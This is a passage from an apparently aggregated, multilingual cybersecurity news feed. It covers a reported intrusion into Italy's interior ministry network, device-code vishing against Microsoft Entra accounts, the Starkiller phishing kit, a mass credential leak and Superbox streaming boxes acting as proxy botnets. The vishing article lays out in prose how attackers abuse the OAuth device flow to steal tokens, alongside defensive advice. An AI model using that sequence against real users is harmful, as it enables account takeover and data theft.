cinesi dissidenti presenti nel territorio italiano e a identificare i poliziotti delle Digos impegnati nelle attività investigative nei confronti dei gruppi cinesi operanti in Italia”. In pratica, una mappa dettagliata del sistema di protezione italiano per i rifugiati politici. Un documento che, nelle mani sbagliate, potrebbe mettere in pericolo vite umane, quelle dei dissidenti, certo, ma anche quelle degli agenti che li proteggono e che ora potrebbero essere oggetto di pressioni, ricatti o peggio. Quando l’Italia ha chiesto spiegazioni, è calato il silenzio. Di fronte alla richiesta di chiarimenti e alla mancata risposta della Cina sull’intrusione informatica nella rete del Viminale, l’Italia ha congelato la cooperazione, sospendendo i pattugliamenti congiunti nelle città con forte presenza cinese e la formazione di agenti cinesi in Italia. L’Italia non è un bersaglio occasionale: è un obiettivo strategico. Sede di istituzioni europee, crocevia di traffici commerciali, Paese con una significativa comunità cinese e con una forte presenza di dissidenti politici. Essere nel mirino non è una sfortuna – è, in un certo senso, una misura della nostra rilevanza geopolitica. Ma questa consapevolezza deve tradursi in responsabilità concreta. Ed è qui che arriviamo al cuore della questione. Perché episodi come questo accadono? Non sempre per mancanza di tecnologia o di budget. Spesso accadono per qualcosa di più sottile e pervasivo: una cultura della sicurezza digitale ancora troppo fragile, una “postura digitale” – come la chiamano gli esperti – che non è all’altezza delle minacce del nostro tempo. Si tratta di un concetto che va ben oltre un buon antivirus installato. È un atteggiamento, un modo di stare nel mondo digitale. È la consapevolezza che ogni clic, ogni password debole, ogni email aperta senza attenzione, ogni dispositivo connesso a una rete non sicura rappresenta una potenziale porta di ingresso per chi vuole entrare senza essere invitato. Nel caso del Viminale, non sappiamo ancora con precisione quale vulnerabilità sia stata sfruttata. Tuttavia gli esperti del settore sono concordi su un punto: la maggior parte delle violazioni informatiche di successo non sfrutta tecnologie fantascientifiche. Sfrutta errori umani: una credenziale non aggiornata, un accesso non revocato, una rete non sufficientemente segmentata. In questo scenario, la formazione non è un optional. È la prima linea di difesa. Eppure, nella maggior parte delle organizzazioni – pubbliche e private – la cyber security è ancora percepita come un problema tecnico da delegare all’ufficio IT. Si acquistano firewall, si installano sistemi di monitoraggio, si aggiornano i software. E poi si dimentica che a premere i tasti, ad aprire le email, a gestire gli accessi sono le persone. E le persone commettono errori, a meno che non vengano adeguatamente formate per non commetterli. Una formazione efficace sulla sicurezza digitale non significa fare un corso di un’ora ogni anno e firmare un modulo. Significa costruire nei dipendenti – a ogni livello, dall’impiegato al dirigente – una mentalità orientata alla sicurezza. Significa insegnare a riconoscere un’email di phishing, a non usare la stessa password per l’account Netflix e per l’accesso ai sistemi aziendali, a capire perché non si collega una pendrive trovato per terra alla propria postazione di lavoro. Significa, soprattutto, creare una cultura in cui segnalare un comportamento sospetto non è una seccatura burocratica, ma un atto di responsabilità professionale. Un ambiente dove dire “ho cliccato su qualcosa di strano” non genera vergogna o punizioni, ma una risposta rapida che può fare la differenza tra un incidente isolato e una catastrofe. Nel contesto delle forze dell’ordine e delle istituzioni pubbliche, questo è ancora più critico. Chi lavora con dati sensibili – nomi di agenti, localizzazione di testimoni protetti, fascicoli investigativi – deve essere formato non solo sulle procedure operative, ma anche sul rischio digitale che ogni giorno accompagna il suo lavoro. Ogni accesso a un sistema, ogni file scaricato, ogni messaggio ricevuto può essere un vettore di attacco. Il caso dei cinquemila agenti Digos è un campanello d’allarme che suona forte e chiaro. La resilienza digitale – la capacità di resistere agli attacchi, rilevare le intrusioni e riprendersi dai danni – non si costruisce con una legge o un decreto. Si costruisce giorno per giorno, attraverso scelte coerenti: investimenti in formazione, architetture di sistema progettate con la sicurezza come priorità, cultura organizzativa che valorizza la segnalazione dei problemi, e una leadership che consideri la cybersecurity non un costo da ridurre, ma una componente essenziale della missione istituzionale. È una sfida culturale prima ancora che tecnologica. E come tutte le sfide culturali, richiede tempo, volontà e – soprattutto – la consapevolezza che il problema riguarda tutti. Non solo gli esperti di sicurezza informatica. Non solo i ministeri e le forze dell’ordine. Ognuno di noi, nel proprio contesto professionale e privato, è un nodo di una rete più grande. E ogni nodo debole è una vulnerabilità che qualcuno, da qualche parte nel mondo, sta cercando di sfruttare.

cybersecurity360.itMar 12, 2026extracted

Hackers target Microsoft Entra accounts in device code vishing attacks

Threat actors are targeting technology, manufacturing, and financial organizations in campaigns that combine device code phishing and voice phishing (vishing) to abuse the OAuth 2.0 Device Authorization flow and compromise Microsoft Entra accounts. Unlike previous attacks that utilized malicious OAuth applications to compromise accounts, these campaigns instead leverage legitimate Microsoft OAuth client IDs and the device authorization flow to trick victims into authenticating. This provides attackers with valid authentication tokens that can be used to access the victim's account without relying on regular phishing sites that steal passwords or intercept multi-factor authentication codes. A source told BleepingComputer they believed the ShinyHunters extortion gang was behind the new device code vishing attacks, which the threat actors later confirmed. BleepingComputer has not been able to confirm this independently. ShinyHunters was recently linked to vishing attacks used to breack Okta and Microsoft Entra SSO accounts for data theft attacks. BleepingComputer contacted Microsoft about these attacks but was told it had nothing to share at this time. Device code social engineering attacks BleepingComputer has learned from multiple sources that threat actors have begun using vishing social engineering attacks that no longer require attacker-controlled infrastructure, instead leveraging legitimate Microsoft login forms and standard device code authentication workflows to breach corporate accounts. A device code phishing attack is when the legitimate OAuth 2.0 device authorization grant flow is abused to obtain authentication tokens for the victim's Microsoft Entra account. This can then be used to gain access to the user's resources and connected SSO applications, like Microsoft 365, Salesforce, Google Workspace, Dropbox, Adobe, SAP, Slack, Zendesk, Atlassian, and many others. This grant flow was designed to make it easy to connect devices that lack accessible input options, such as IoT devices, printers, streaming devices, and TVs. "The Microsoft identity platform supports the device authorization grant, which allows users to sign in to input-constrained devices such as a smart TV, IoT device, or a printer," explains Microsoft. "To enable this flow, the device has the user visit a webpage in a browser on another device to sign in. Once the user signs in, the device is able to get access tokens and refresh tokens as needed." This authentication flow is similar to what you see when logging into a streaming service, such as Netflix or Apple TV, where the streaming device displays a short code and instructs you to visit a website on your phone or computer to complete sign-in. After you enter the code and authenticate, the device is automatically linked to your account without ever handling your password directly. To conduct a device-code phishing attack, threat actors need the client_id of an existing OAuth app, which can be their own or one of Microsoft's existing apps. Using open-source tools, the attackers generate a "device_code" and "user_code" that will be shared with the target for the specified OAuth app. The threat actors then contact a targeted employee and attempt to convince them to enter the generated user_code on the Microsoft device authentication page, microsoft.com/devicelogin. When the targeted person enters the code, they will be prompted to log in with their credentials and complete any MFA verifications, just as they normally would when logging in. After authenticating, Microsoft displays the name of the OAuth application that was authorized. However, because threat actors can use legitimate apps, even those from Microsoft, this can lend more legitimacy and trust to the authentication process. Once the OAuth app is connected to an account, threat actors can use the device_code to retrieve the targeted employee's refresh token, which can then be exchanged for access tokens. Those access tokens allow attackers to access the employee's Microsoft services without having to complete multi-factor authentication again, since MFA was already completed during the initial login. The threat actors can now authenticate as the user in Microsoft Entra and access SaaS applications configured with SSO (single sign-on) in the victim's tenant, enabling the theft of corporate data for extortion. KnowBe4 Threat Labs also discovered a recent campaign that uses traditional phishing emails and websites to deliver device code attacks. The company first spotted the campaign in December 2025 and said it relies heavily on social engineering lures such as fake payment configuration prompts, document-sharing alerts, and bogus voicemail notifications. KnowBe4 recommends that Microsoft 365 account holders block the malicious domains and sender addresses, audit and revoke suspicious OAuth app consents, and review Azure AD sign-in logs for device code authentication events. Administrators are also recommended to turn off the device code flow option when not required and to enforce conditional access policies. Device code phishing is not new, with multiple threat actors having used this method to breach accounts in the past. In February 2025, the Microsoft Threat Intelligence Center warned that Russian hackers were targeting Microsoft 365 accounts using device code phishing. In December, ProofPoint reported similar attacks that use a similar phishing kit seen by KnowBe4 to breach Microsoft accounts. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

bleepingcomputer.comFeb 19, 2026extracted

Starkiller: New ‘Commercial-Grade’ Phishing Kit Bypasses MFA

A newly uncovered phishing kit allows cybercriminals to steal usernames and passwords with a toolkit which spoofs live login pages and bypasses multi-factor authentication (MFA) protections, cybersecurity analysts have warned. Dubbed Starkiller, the phishing platform has been detailed by researchers at Abnormal, who have described it as “a commercial-grade cybercrime platform” and “a comprehensive toolkit for stealing identities at scale”. The tool is distributed on the dark web like a software-as-a-service (SaaS) product, complete with a subscription model, updates and customer support. Researchers noted that while the Starkiller name is shared with a legitimate red team penetration testing tool by BC Security, the two platforms are not related. What makes Starkiller notable is how it differs from many other phishing kits. Most rely on static HTML clones of the login page the attackers want to replicate. But with Starkiller, the phishing site is launched through a proxy operated by attacker-controlled infrastructure which is indistinguishable from the real login portal being used as template. “Recipients are served genuine page content directly through the attacker's infrastructure, ensuring the phishing page is never out of date. And because Starkiller proxies the real site live, there are no template files for security vendors to fingerprint or blocklist,” Abnormal researchers explained. The proxy is launched in a headless Chrome instance and gives the user little to no reason for suspicion. However, the infrastructure means that the credentials entered are set directly to the attackers. The Starkiller kit provides attackers with the ability to mimic Google, Microsoft, Facebook, Apple, Amazon, Netflix, PayPal, various banks and many more online services. The tool generates a deceptive URL that visually mimics the legitimate domain while routing traffic through the attacker's infrastructure. Starkiller also offers cybercriminals real-time session monitoring, allowing them to watch the target interact with the phishing page live, as well as the use of a keylogger to capture anything the victim enters. How Starkiller Enables MFA Bypass The way Starkiller has been built also enables it to bypass MFA. This is because the targeted user is authenticating with the real site through the proxy. That means any one-time codes or authentication tokens they submit are forwarded to the legitimate service in real time, providing attackers with direct access to the account. According to Abnormal, the most likely way which Starkiller attacks are distributed is by phishing emails which imitate legitimate alerts and notifications from the likes of Google and Microsoft. The toolkit is sold as a subscription-based toolkit with a monthly fee, meaning users are provided with updates to the platform and helpdesk support via Telegram. “The level of ongoing development means Starkiller is likely to become increasingly difficult to detect and defend against,” warned Abnormal researchers, who have also described the tool as “a significant escalation in phishing infrastructure.” To defend against attacks deployed by Starkiller, it’s recommended that organizations watch for anomalous login patterns or session token reuse from unexpected locations.

infosecurity-magazine.comFeb 19, 2026extracted

149 millones de credenciales expuestas de plataformas como Binance, Instagram, Facebook, Roblox, TikTok, Gmail, entre otras

149 millones de credenciales expuestas de plataformas como Binance, Instagram, Facebook, Roblox, TikTok, Gmail, entre otras 17/02/2026 Mar, 17/02/2026 - 12:51 A finales de enero de 2026, se reportó una filtración masiva de datos que expuso aproximadamente 149 millones de credenciales de acceso a diferentes servicios en línea. Esta filtración se expuso en una base de datos pública, y tuvo impacto en diferentes plataformas como Binance, Instagram, Facebook, Roblox, TikTok, Gmail, entre otras. La información, que contenía datos como nombres de usuario y contraseñas de usuarios registrados fue accesible a cualquier persona con acceso a la URL.  El incidente fue atribuido a una brecha de seguridad causada por un malware de tipo "infostealer", que recopiló los datos y los almacenó en una base de datos pública. A pesar de que el archivo fue retirado rápidamente, las consecuencias del incidente ya habían alcanzado una gran escala. Las empresas involucradas no emitieron inicialmente comunicados oficiales al respecto, aunque varios expertos comenzaron a alertar a los usuarios sobre el riesgo de esta brecha y la importancia de cambiar contraseñas, así como tener otras medidas de protección, como la activación de la autenticación en dos pasos. El estado del suceso continúa siendo preocupante debido a la magnitud de los datos comprometidos. Si bien las plataformas afectadas han comenzado a trabajar en medidas de seguridad adicionales, como la mejora en sus protocolos de cifrado, no se han publicado detalles claros sobre acciones específicas para compensar a los usuarios afectados.   Referencias 24/01/2026 evrimagaci.org Nearly 150 Million Online Accounts Exposed In Massive Data Leak 24/01/2026 www.thehansindia.com 149 Million Passwords Left Exposed in Massive Credential Leak: What Users Must Do Now 26/01/2026 www.freepressjournal.in 149 Million Passwords Of Instagram, Netflix, X, Roblox Leaked Online: How To Know If You Are Affected 27/01/2026 www.inkl.com "About any type of account imaginable" — 149 million usernames and passwords exposed, and it's way more than just Outlook, OnlyFans, and Gmail

incibe.esFeb 17, 2026extracted

Divide and conquer: how the new Keenadu backdoor exposed links between major Android botnets

securelist.comFeb 17, 2026extracted

For the price of Netflix, crooks can now rent AI to run cybercrime

ai and ML AI slop is good for business if you know what you're doingYour irresponsibility is someone else's opportunity SAAS Salesforce partners not seeing meaningful revenue from Agentforce AI platform, report saysShow us the money ai and ml AI companies are burning books, advocates complain to FTCFahrenheit 203, the temperature GPUs stop gorging on literature DEVOPS Go updates may delight diehard gophers but displease AI overlordsv 1.27 expands generics to support methods EDGE AND IOT Waymo has designed a robocar chip to stay ahead of Tesla5 nm ML accelerators promise 1,000+ TOPS, ultra-low latency Security Russians are posing as Signal support to launch phishing attacksPLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attackPLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructureVoting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz AcronisWent at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sightOn the plus side, infosec's a good bet for a long, stable career FOSS smashed one Microsoft monopoly. After 20 years of failure, it's time to smash anotherWord up GNOME can look like Windows – and Flashback can do it without extensionsNew 'Simple-taskbar' is an option, but there's a simpler, stabler way A moment of silence, please, for the final release of Debian on x86-32New Debian versions hit FOSSland in the form of 13.6 and 12.15 Baddies caught exploiting extensions bugs with perfect 10 scores on vulnerable Joomla websitesFlaws in iCagenda, Balbooa Forms extensions can impact open source CMS that powers a million sites worldwide Frame: A new X11 server – implemented directly in assemblyJoins yserver, Phoenix, and of course XLibre – and outlier Arcan Cinnamon 6.8 will support Wayland – if you want itNext version of Linux Mint’s desktop has both kinds of display server

go.theregister.comJan 20, 2026extracted

Bitfinex crypto thief who was serving five years thanks Trump for early release

go.theregister.comJan 2, 2026extracted

Is Your Android TV Streaming Box Part of a Botnet?

On the surface, the Superbox media streaming devices for sale at retailers like BestBuy and Walmart may seem like a steal: They offer unlimited access to more than 2,200 pay-per-view and streaming services like Netflix, ESPN and Hulu, all for a one-time fee of around $400. But security experts warn these TV boxes require intrusive software that forces the user’s network to relay Internet traffic for others, traffic that is often tied to cybercrime activity such as advertising fraud and account takeovers. Superbox bills itself as an affordable way for households to stream all of the television and movie content they could possibly want, without the hassle of monthly subscription fees — for a one-time payment of nearly $400. “Tired of confusing cable bills and hidden fees?,” Superbox’s website asks in a recent blog post titled, “Cheap Cable TV for Low Income: Watch TV, No Monthly Bills.” “Real cheap cable TV for low income solutions does exist,” the blog continues. “This guide breaks down the best alternatives to stop overpaying, from free over-the-air options to one-time purchase devices that eliminate monthly bills.” Superbox claims that watching a stream of movies, TV shows, and sporting events won’t violate U.S. copyright law. “SuperBox is just like any other Android TV box on the market, we can not control what software customers will use,” the company’s website maintains. “And you won’t encounter a law issue unless uploading, downloading, or broadcasting content to a large group.” There is nothing illegal about the sale or use of the Superbox itself, which can be used strictly as a way to stream content at providers where users already have a paid subscription. But that is not why people are shelling out $400 for these machines. The only way to watch those 2,200+ channels for free with a Superbox is to install several apps made for the device that enable them to stream this content. Superbox’s homepage includes a prominent message stating the company does “not sell access to or preinstall any apps that bypass paywalls or provide access to unauthorized content.” The company explains that they merely provide the hardware, while customers choose which apps to install. “We only sell the hardware device,” the notice states. “Customers must use official apps and licensed services; unauthorized use may violate copyright law.” Superbox is technically correct here, except for maybe the part about how customers must use official apps and licensed services: Before the Superbox can stream those thousands of channels, users must configure the device to update itself, and the first step involves ripping out Google’s official Play store and replacing it with something called the “App Store” or “Blue TV Store.” Superbox does this because the device does not use the official Google-certified Android TV system, and its apps will not load otherwise. Only after the Google Play store has been supplanted by this unofficial App Store do the various movie and video streaming apps that are built specifically for the Superbox appear available for download (again, outside of Google’s app ecosystem). Experts say while these Android streaming boxes generally do what they advertise — enabling buyers to stream video content that would normally require a paid subscription — the apps that enable the streaming also ensnare the user’s Internet connection in a distributed residential proxy network that uses the devices to relay traffic from others. Ashley is a senior solutions engineer at Censys, a cyber intelligence company that indexes Internet-connected devices, services and hosts. Ashley requested that only her first name be used in this story. In a recent video interview, Ashley showed off several Superbox models that Censys was studying in the malware lab — including one purchased off the shelf at BestBuy. “I’m sure a lot of people are thinking, ‘Hey, how bad could it be if it’s for sale at the big box stores?'” she said. “But the more I looked, things got weirder and weirder.” Ashley said she found the Superbox devices immediately contacted a server at the Chinese instant messaging service Tencent QQ, as well as a residential proxy service called Grass IO. GET GRASSED Also known as getgrass[.]io, Grass says it is “a decentralized network that allows users to earn rewards by sharing their unused Internet bandwidth with AI labs and other companies.” “Buyers seek unused internet bandwidth to access a more diverse range of IP addresses, which enables them to see certain websites from a retail perspective,” the Grass website explains. “By utilizing your unused internet bandwidth, they can conduct market research, or perform tasks like web scraping to train AI.” Reached via Twitter/X, Grass founder Andrej Radonjic told KrebsOnSecurity he’d never heard of a Superbox, and that Grass has no affiliation with the device maker. “It looks like these boxes are distributing an unethical proxy network which people are using to try to take advantage of Grass,” Radonjic said. “The point of grass is to be an opt-in network. You download the grass app to monetize your unused bandwidth. There are tons of sketchy SDKs out there that hijack people’s bandwidth to help webscraping companies.” Radonjic said Grass has implemented “a robust system to identify network abusers,” and that if it discovers anyone trying to misuse or circumvent its terms of service, the company takes steps to stop it and prevent those users from earning points or rewards. Superbox’s parent company, Super Media Technology Company Ltd., lists its street address as a UPS store in Fountain Valley, Calif. The company did not respond to multiple inquiries. According to this teardown by behindmlm.com, a blog that covers multi-level marketing (MLM) schemes, Grass’s compensation plan is built around “grass points,” which are earned through the use of the Grass app and through app usage by recruited affiliates. Affiliates can earn 5,000 grass points for clocking 100 hours usage of Grass’s app, but they must progress through ten affiliate tiers or ranks before they can redeem their grass points (presumably for some type of cryptocurrency). The 10th or “Titan” tier requires affiliates to accumulate a whopping 50 million grass points, or recruit at least 221 more affiliates. Radonjic said Grass’s system has changed in recent months, and confirmed the company has a referral program where users can earn Grass Uptime Points by contributing their own bandwidth and/or by inviting other users to participate. “Users are not required to participate in the referral program to earn Grass Uptime Points or to receive Grass Tokens,” Radonjic said. “Grass is in the process of phasing out the referral program and has introduced an updated Grass Points model.” A review of the Terms and Conditions page for getgrass[.]io at the Wayback Machine shows Grass’s parent company has changed names at least five times in the course of its two-year existence. Searching the Wayback Machine on getgrass[.]io shows that in June 2023 Grass was owned by a company called Wynd Network. By March 2024, the owner was listed as Lower Tribeca Corp. in the Bahamas. By August 2024, Grass was controlled by a Half Space Labs Limited, and in November 2024 the company was owned by Grass OpCo (BVI) Ltd. Currently, the Grass website says its parent is just Grass OpCo Ltd (no BVI in the name). Radonjic acknowledged that Grass has undergone “a handful of corporate clean-ups over the last couple of years,” but described them as administrative changes that had no operational impact. “These reflect normal early-stage restructuring as the project moved from initial development…into the current structure under the Grass Foundation,” he said. UNBOXING Censys’s Ashley said the phone home to China’s Tencent QQ instant messaging service was the first red flag with the Superbox devices she examined. She also discovered the streaming boxes included powerful network analysis and remote access tools, such as Tcpdump and Netcat. “This thing DNS hijacked my router, did ARP poisoning to the point where things fall off the network so they can assume that IP, and attempted to bypass controls,” she said. “I have root on all of them now, and they actually have a folder called ‘secondstage.’ These devices also have Netcat and Tcpdump on them, and yet they are supposed to be streaming devices.” A quick online search shows various Superbox models and many similar Android streaming devices for sale at a wide range of top retail destinations, including Amazon, BestBuy, Newegg, and Walmart. Newegg.com, for example, currently lists more than three dozen Superbox models. In all cases, the products are sold by third-party merchants on these platforms, but in many instances the fulfillment comes from the e-commerce platform itself. “Newegg is pretty bad now with these devices,” Ashley said. “Ebay is the funniest, because they have Superbox in Spanish — the SuperCaja — which is very popular.” Ashley said Amazon recently cracked down on Android streaming devices branded as Superbox, but that those listings can still be found under the more generic title “modem and router combo” (which may be slightly closer to the truth about the device’s behavior). Superbox doesn’t advertise its products in the conventional sense. Rather, it seems to rely on lesser-known influencers on places like Youtube and TikTok to promote the devices. Meanwhile, Ashley said, Superbox pays those influencers 50 percent of the value of each device they sell. “It’s weird to me because influencer marketing usually caps compensation at 15 percent, and it means they don’t care about the money,” she said. “This is about building their network.” BADBOX As plentiful as the Superbox is on e-commerce sites, it is just one brand in an ocean of no-name Android-based TV boxes available to consumers. While these devices generally do provide buyers with “free” streaming content, they also tend to include factory-installed malware or require the installation of third-party apps that engage the user’s Internet address in advertising fraud. In July 2025, Google filed a “John Doe” lawsuit (PDF) against 25 unidentified defendants dubbed the “BadBox 2.0 Enterprise,” which Google described as a botnet of over ten million Android streaming devices that engaged in advertising fraud. Google said the BADBOX 2.0 botnet, in addition to compromising multiple types of devices prior to purchase, can also infect devices by requiring the download of malicious apps from unofficial marketplaces. Several of the Android streaming devices flagged in Google’s lawsuit are still for sale on top U.S. retail sites. For example, searching for the “X88Pro 10” and the “T95” Android streaming boxes finds both continue to be peddled by Amazon sellers. Google’s lawsuit came on the heels of a June 2025 advisory from the Federal Bureau of Investigation (FBI), which warned that cyber criminals were gaining unauthorized access to home networks by either configuring the products with malicious software prior to the user’s purchase, or infecting the device as it downloads required applications that contain backdoors, usually during the set-up process. “Once these compromised IoT devices are connected to home networks, the infected devices are susceptible to becoming part of the BADBOX 2.0 botnet and residential proxy services known to be used for malicious activity,” the FBI said. The FBI said BADBOX 2.0 was discovered after the original BADBOX campaign was disrupted in 2024. The original BADBOX was identified in 2023, and primarily consisted of Android operating system devices that were compromised with backdoor malware prior to purchase. Riley Kilmer is founder of Spur, a company that tracks residential proxy networks. Kilmer said Badbox 2.0 was used as a distribution platform for IPidea, a China-based entity that is now the world’s largest residential proxy network. Kilmer and others say IPidea is merely a rebrand of 911S5 Proxy, a China-based proxy provider sanctioned last year by the U.S. Department of the Treasury for operating a botnet that helped criminals steal billions of dollars from financial institutions, credit card issuers, and federal lending programs (the U.S. Department of Justice also arrested the alleged owner of 911S5). How are most IPidea customers using the proxy service? According to the proxy detection service Synthient, six of the top ten destinations for IPidea proxies involved traffic that has been linked to either ad fraud or credential stuffing (account takeover attempts). Kilmer said companies like Grass are probably being truthful when they say that some of their customers are companies performing web scraping to train artificial intelligence efforts, because a great deal of content scraping which ultimately benefits AI companies is now leveraging these proxy networks to further obfuscate their aggressive data-slurping activity. By routing this unwelcome traffic through residential IP addresses, Kilmer said, content scraping firms can make it far trickier to filter out. “Web crawling and scraping has always been a thing, but AI made it like a commodity, data that had to be collected,” Kilmer told KrebsOnSecurity. “Everybody wanted to monetize their own data pots, and how they monetize that is different across the board.” SOME FRIENDLY ADVICE Products like Superbox are drawing increased interest from consumers as more popular network television shows and sportscasts migrate to subscription streaming services, and as people begin to realize they’re spending as much or more on streaming services than they previously paid for cable or satellite TV. These streaming devices from no-name technology vendors are another example of the maxim, “If something is free, you are the product,” meaning the company is making money by selling access to and/or information about its users and their data. Superbox owners might counter, “Free? I paid $400 for that device!” But remember: Just because you paid a lot for something doesn’t mean you are done paying for it, or that somehow you are the only one who might be worse off from the transaction. It may be that many Superbox customers don’t care if someone uses their Internet connection to tunnel traffic for ad fraud and account takeovers; for them, it beats paying for multiple streaming services each month. My guess, however, is that quite a few people who buy (or are gifted) these products have little understanding of the bargain they’re making when they plug them into an Internet router. Superbox performs some serious linguistic gymnastics to claim its products don’t violate copyright laws, and that its customers alone are responsible for understanding and observing any local laws on the matter. However, buyer beware: If you’re a resident of the United States, you should know that using these devices for unauthorized streaming violates the Digital Millennium Copyright Act (DMCA), and can incur legal action, fines, and potential warnings and/or suspension of service by your Internet service provider. According to the FBI, there are several signs to look for that may indicate a streaming device you own is malicious, including: -The presence of suspicious marketplaces where apps are downloaded. -Requiring Google Play Protect settings to be disabled. -Generic TV streaming devices advertised as unlocked or capable of accessing free content. -IoT devices advertised from unrecognizable brands. -Android devices that are not Play Protect certified. -Unexplained or suspicious Internet traffic. This explainer from the Electronic Frontier Foundation delves a bit deeper into each of the potential symptoms listed above.

krebsonsecurity.comNov 24, 2025extracted

Friday Squid Blogging: Squid Game: The Challenge, Season Two

The second season of the Netflix reality competition show Squid Game: The Challenge has dropped. (Too many links to pick a few—search for it.) As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered. Blog moderation policy.

schneier.comNov 7, 2025extracted

‘TU VALI, non sei mai troppo giovane per cambiare il mondo’: la visione di Nicola Bellotti

Spesso cerchiamo di spiegare il mondo ibrido, simultaneo e contraddittorio in cui i giovani vivono in connessione perpetua, ma la verità è che come adulti facciamo davvero fatica a capirlo. Ci chiediamo spesso come proteggerli, meno come equipaggiarli. In poche parole parliamo di empowerment, quel processo di potenziamento che li rende capaci di agire in modo autonomo e responsabile, anche nel mondo digitale non lineare che poi è quello in cui trascorrono la maggior parte della loro vita, tra un ‘io online’ e un ‘io offline’. Si tratta non solo di fornire loro competenze tecnologiche, ma soprattutto far sviluppare consapevolezza critica, capacità di partecipare attivamente e resilienza, per essere in grado di gestire situazioni complesse, prendere decisioni informate e contribuire positivamente alla società. Poi soffermiamoci un attimo sulla parola ‘complessità’: spesso chi sostiene che alcune cose siano troppo complicate da capire è chi preferisce che tutto rimanga così, senza essere messo in discussione, perché spesso le cose sembrano a volte progettate per non essere capite, in breve un meccanismo di potere, un campo di battaglia informativo nel quale i giovani navigano, un cyberspazio progettato per attirare la loro attenzione. In realtà, i giovani sono assolutamente in grado di imparare a distinguere il segnale dal rumore,. Così in un mondo costruito sulla disinformazione, i giovani iper-connessi tuttavia soli, pionieri di un territorio inesplorato in continua sperimentazione, non amano la guerra né aspirano a ruoli eroici, si interessano a temi come i cambiamenti climatici, i diritti sociali e la sostenibilità, ma ancora sentono di contare poco, tuttavia sono loro a dominare le nuove tecnologie, con una creatività che è forse la loro più grande innovazione. Poi un giorno arriva Nicola Bellotti e a grandi lettere gli fa sapere che: ‘TU VALI’, la tua voce conta, le tue prospettive valgono, le tue scelte hanno un peso, ti attendono grandi cose. Quindi abbiamo deciso di raccontare questa nuova avventura. IN BREVE: Nicola Bellotti, è un imprenditore con un background multidisciplinare: pioniere nel digital marketing, è uno specialista nel settore digitale, sviluppa strategie di comunicazione per aziende, marchi e personaggi pubblici, concentrandosi sulla costruzione della loro reputazione. Laureatosi in giurisprudenza Nicola già negli anni ‘90 si è dedicato allo sviluppo dei primi siti web informativi fondando poi Blacklemon, una delle prime agenzie italiane specializzate in digital marketing, dove oggi si occupa principalmente di strategie di comunicazione, reputazione del brand e consulenza politica. Ricopre e ha ricoperto negli anni vari ruoli istituzionali tra cui la partecipazione al Consiglio Generale di Assolombarda e al Comitato Piccola Industria Confindustria, oltre a far parte del gruppo Media, Comunicazione e Entertainment di Assolombarda e del Consiglio di Confesercenti a Piacenza, collaborando anche nel 2002 con il Ministro per l’Innovazione e le Tecnologie, contribuendo alla stesura del “Libro Bianco sull’Accessibilità” e del Decreto Ministeriale “PC per i giovani”. Attivo anche nel campo della sostenibilità nel 2021 ha cofondato NeaGea, una benefit corporation nata con Paolo Mazzoni per supportare le imprese nel perseguimento dell’innovazione strategica, con l’obiettivo di massimizzare il loro impatto positivo sull’ambiente, le persone e le comunità. In precedenza. La sua attività imprenditoriale non si è limitata al digitale, ma ha toccato vari settori con un modello di “entra, innova e cedi”: nel 2012, ho fondato Melaggiusti, un’azienda specializzata nella riparazione di dispositivi Apple e Samsung, venduta a un fondo di investimento nel 2016, nel 2014 ha fondato Salus Naturalis, un’azienda produttrice di farmaci naturali, poi confluita in Toccasana e ceduta a un gruppo imprenditoriale nel 2018. Ha tenuto inoltre corsi su social media e inbound marketing per diverse istituzioni formative e collaborato con il Master in Comunicazione Internazionale all’Università di Milano (Madec) ed é anche un bravo scrittore: ha pubblicato due romanzi: I Custodi delle Rune (2007) e Mocambo (2024). Nicola è anche un visionario con una grande fiducia nelle giovani generazioni, come portatrici di nuove idee, innovazione e cambiamento, tesi tra le necessità di migliorare la società e sviluppare competenze cruciali per il mondo del lavoro, in un mondo governato dal NO intrappolato anche da una burocrazia che intrappola le idee invece di liberarle. Qui nasce “la capacità tutta italiana di trasformare l’ostacolo in occasione, il limite in spinta” che lui conosce molto bene. Mentre Stati Uniti e Cina esercitano un grande potere sull’informazione e la disinformazione orchestrata da Russia e Cina si intensifica – tramite anche bot e falsi account sui social – l’Europa è rimasta in una posizione più passiva, quella di osservatore, rischiando oggi di divenire solo un organo regolatore sempre piú isolato geopoliticamente.. Mentre Nicola ha deciso di alzarsi in piedi, investendo nella crescita di una generazione più consapevole delle proprie forze e identità, capace di riconoscere e contrastare disinformazione e manipolazioni digitali. Qui prende forma “Tu Vali”, un’iniziativa del tutto gratuita rivolta ai giovani, che si svolge su un primo ciclo di cinque incontri volto a sostenere e valorizzare i giovani, affinché diventino consapevoli delle proprie forze e capaci di incidere positivamente nel presente e futuro. NICOLA: Non ho mai avuto un mentore nella mia vita professionale, e in molti momenti difficili ho sentito il desiderio profondo di potermi confrontare con qualcuno che avesse già superato certi ostacoli. È da questa mancanza che nasce la mia spinta principale: vorrei essere per i ragazzi un piccolo aiuto, un punto di riferimento, un incoraggiamento sincero. Anche perché — diciamolo — i giovani sono una categoria bistrattata da millenni. Ti faccio un esempio: “La nostra gioventù ama il lusso, è maleducata, si burla dell’autorità, non ha alcun rispetto degli anziani. I bambini di oggi sono dei tiranni, non si alzano quando un vecchio entra in una stanza, rispondono male ai genitori. In una parola, sono cattivi”. Ti sembra attuale, vero? Eppure lo diceva Socrate, nel 470 a.C. Da sempre i giovani, in quanto incarnazione del futuro e del cambiamento, fanno paura. E la prima reazione del mondo adulto è spesso quella di contenerli, di ridurli al ruolo di semplici spettatori. Io, invece, vorrei aiutarli a scoprire qualcosa in più: sulle grandi opportunità che li attendono, ma soprattutto su loro stessi. NICOLA: Credo che ogni generazione sviluppi i propri anticorpi in risposta alle sfide del tempo in cui vive. Ho una grande fiducia nel potenziale dei giovani: ciò che a noi adulti può sembrare una minaccia, per loro può diventare un’occasione per inventare qualcosa che ancora non esiste. Quando ero un ragazzino passavo troppo tempo davanti 